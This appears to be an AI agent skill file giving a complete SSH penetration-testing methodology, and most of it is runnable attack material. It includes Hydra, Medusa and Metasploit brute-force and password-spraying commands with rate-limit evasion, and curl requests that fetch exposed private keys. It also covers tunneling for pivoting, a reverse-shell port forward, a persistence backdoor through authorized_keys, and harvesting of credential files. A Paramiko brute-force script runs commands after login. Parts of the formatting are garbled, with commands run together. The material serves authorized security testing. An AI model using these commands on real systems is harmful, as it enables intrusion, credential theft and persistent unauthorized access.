SSH Penetration Testing
This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
SSH Penetration Testing
Purpose
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Prerequisites
Required Tools
Required Knowledge
Outputs and Deliverables
Core Workflow
Phase 1: SSH Service Discovery
Identify SSH services on target networks:
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --openCommon alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i sshService version detection
nmap -sV -p 22 192.168.1.100Phase 2: SSH Enumeration
Gather detailed information about SSH services:
# Banner grabbing
nc 192.168.1.100 22
Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
Telnet banner grab
telnet 192.168.1.100 22Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100Phase 3: SSH Configuration Auditing
Identify weak configurations:
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100Output includes:
- Algorithm recommendations
- Security vulnerabilities
- Hardening suggestions
Key configuration weaknesses to identify:
Phase 4: Credential Attacks
Brute-Force with Hydra
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100Brute-Force with Medusa
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M sshMultiple targets
medusa -H targets.txt -u admin -P passwords.txt -M sshWith username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M sshSpecific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222Password Spraying
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
donePhase 5: Key-Based Authentication Testing
Test for weak or exposed keys:
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
doneCheck for exposed keys:
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host__key
/root/.ssh/
/home//.ssh/Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gzPhase 6: Vulnerability Exploitation
Search for known vulnerabilities:
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2Common SSH vulnerabilities
CVE-2018-15473 - Username enumeration
CVE-2016-0777 - Roaming vulnerability
CVE-2016-0778 - Buffer overflow
Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
runUsername enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
runPhase 7: SSH Tunneling and Port Forwarding
Local Port Forwarding
Forward local port to remote service:
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_serverAccess internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
Now access http://localhost:8080
Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100Remote Port Forwarding
Expose local service to remote network:
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_serverExpose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
Remote can access via localhost:8080
Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100Dynamic Port Forwarding (SOCKS Proxy)
Create SOCKS proxy for network pivoting:
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24Browser configuration
Set SOCKS proxy to localhost:1080
ProxyJump (Jump Hosts)
Chain through multiple SSH servers:
# Jump through intermediate host
ssh -J user1@jump_host user2@target_hostMultiple jumps
ssh -J user1@jump1,user2@jump2 user3@targetWith SSH config
~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100Phase 8: Post-Exploitation
Activities after gaining SSH access:
# Check sudo privileges
sudo -lFind SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/nullCheck SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keysAdd persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keysExtract SSH configuration
cat /etc/ssh/sshd_configFind other users
cat /etc/passwd | grep -v nologin
ls /home/History for credentials
<div class="overflow-x-auto my-6"><table class="min-w-full divide-y divide-border border border-border"><thead><tr><th class="px-4 py-2 text-left text-sm font-semibold text-foreground bg-muted/50">cat ~/.bash_history</th><th class="px-4 py-2 text-left text-sm font-semibold text-foreground bg-muted/50">grep -i ssh</th></tr></thead><tbody class="divide-y divide-border"></tbody></table></div>Phase 9: Custom SSH Scripts with Paramiko
Python-based SSH automation:
#!/usr/bin/env python3
import paramiko
import sysdef ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def execute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# Run post-exploitation commands
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
Usage
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# Single credential test
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()Phase 10: Metasploit SSH Modules
Use Metasploit for comprehensive SSH testing:
# Start Metasploit
msfconsoleSSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
runSSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
runSSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
runUsername Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
runPost-exploitation with SSH session
sessions -i 1Quick Reference
SSH Enumeration Commands
| Command | Purpose |
|---|---|
nc <host> 22 | Banner grabbing |
ssh-audit <host> | Configuration audit |
nmap --script ssh* | SSH NSE scripts |
searchsploit openssh | Find exploits |
Brute-Force Options
| Tool | Command |
|---|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
Port Forwarding Types
| Type | Command | Use Case |
|---|---|---|
| Local | -L 8080:target:80 | Access remote services locally |
| Remote | -R 8080:localhost:80 | Expose local services remotely |
| Dynamic | -D 1080 | SOCKS proxy for pivoting |
Common SSH Ports
| Port | Description |
|---|---|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |
Constraints and Limitations
Legal Considerations
Technical Limitations
Evasion Techniques
-t 1 -w 5Troubleshooting
| Issue | Solutions |
|---|---|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v |